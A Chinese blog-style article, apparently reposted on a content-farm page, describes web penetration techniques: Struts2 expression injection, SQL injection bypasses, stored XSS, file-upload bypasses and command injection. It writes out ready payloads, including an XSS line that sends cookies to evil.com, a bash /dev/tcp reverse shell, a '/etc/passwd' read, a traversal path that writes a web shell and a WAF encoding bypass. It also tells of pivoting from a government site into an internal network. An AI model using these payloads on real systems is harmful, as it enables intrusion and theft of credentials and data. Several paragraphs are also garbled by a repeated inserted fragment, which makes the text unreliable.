当前位置:当前位置:首页 > 综合 > web渗透实战 正文

web渗透实战

[综合] 时间:2026-10-17 04:22:16 来源:力不从心网 作者:休闲 点击:78次

目标站点跑着 Struts2,透实版本号在页脚明晃晃挂着。透实我打开浏览器,透实输入 %{ 100*100},透实页面回显 10000。透实命令执行漏洞确认,透实服务器权限到手只是透实时间问题。这不是透实电影桥段,是透实上周二下午三点的事。

Web 渗透的透实核心就一句话:找到用户输入被当成代码执行的地方。SQL 注入是透实把数据当查询跑,XSS 是透实把数据当 HTML 跑,命令注入是透实把数据当 shell 命令跑。所有花哨的透实绕过技巧,本质都是透实同一件事的不同变体。

拿 SQL 注入来说。登录框输入 ' or 1=1--,后端拼接成 SELECT * FROM users WHERE name='' or 1=1--' AND pass='xxx',直接绕过密码。这招现在基本被 WAF 拦了。稍微变一下:' or '1'='1' /*,或者用 %00 截断。再不行就上盲注,布尔型或者时间型,一个字符一个字符猜数据库名。我见过有人写脚本跑了六个小时,把整个库拖下来。慢,但稳。

XSS 更依赖场景。反射型得骗人点链接,存储型才是真杀器。留言板里插一段 <script>new Image().src='http://evil.com/'+document.cookie</script>,管理员一看后台,cookie 就飞到我的服务器上了。拿到 session 直接登录后台,连密码都不用破。有些站点做了 HttpOnly,cookie 拿不到,那就打 CSRF,伪造管理员操作,加个用户或者改个配置,一样能进去。

文件上传是另一个重灾区。前端校验 accept=".jpg",抓包改成 shell.php,后端不检查就完蛋。就算检查后缀,还有 shell.php.jpg 这种绕过,或者 shell.pHp 大小写混写。最绝的是 .htaccess 上传,把 AddType application/x-httpd-php .jpg 写进去,传个图片马照样解析。我遇到过只允许传 zip 的,解压后路径穿越,../../../../var/www/html/shell.php,直接写进 web 目录。

命令注入看的是拼接方式。PHP 里 system("ping ".$_GET['ip']),输入 127.0.0.1; cat /etc/passwd,分号一隔,两条命令都跑。Windows 下用 & 或者 |。没回显就写文件,127.0.0.1 > /var/www/html/out.txt,再访问读结果。或者反弹 shell,bash -i >& /dev/tcp/10.0.0.1/8080 0>&1,连上就是交互式终端。

工具方面,Burp Suite 抓包改包是基本功,sqlmap 自动注入省时间,但别全指望它。手工测出来的洞往往更隐蔽,WAF 也拦不住。nmap 扫端口,dirsearch 扫目录,这些是信息收集的活。真正值钱的是逻辑漏洞,比如越权改别人密码、订单金额前端可改、验证码不刷新。这些工具扫不出来,得靠脑子。

防守方也没闲着。WAF 规则越来越细,RASP 运行时防护直接 hook 危险函数,HIDS 监控异常进程。但攻防永远是猫鼠游戏。上周那个 Struts2,WAF 拦了 %{ ,我用 %25%7B 编码绕过去,照样执行。规则是死的,人是活的。

渗透测试的终点不是拿到 shell,是写报告。漏洞位置、利用过程、修复建议,三样缺一不可。见过太多人只顾着爽,截图一堆,报告里连个复现步骤都写不清楚。甲方要的是能落地修的东西,不是你炫技的日记。

最后说个真事。某次测一个政府站,SQL 注入点找到了,sqlmap 跑出管理员密码哈希,cmd5 解不开。翻数据库发现有个 backup 表,里面存着明文密码,是运维图省事留的。拿下后台,上传 getshell,发现服务器上还跑着内网 OA。一台跳板机就这么到手了。漏洞从来不是孤立的,一个点破了,后面就是连锁反应。

(责任编辑:焦点)

相关内容
精彩推荐
热门点击
友情链接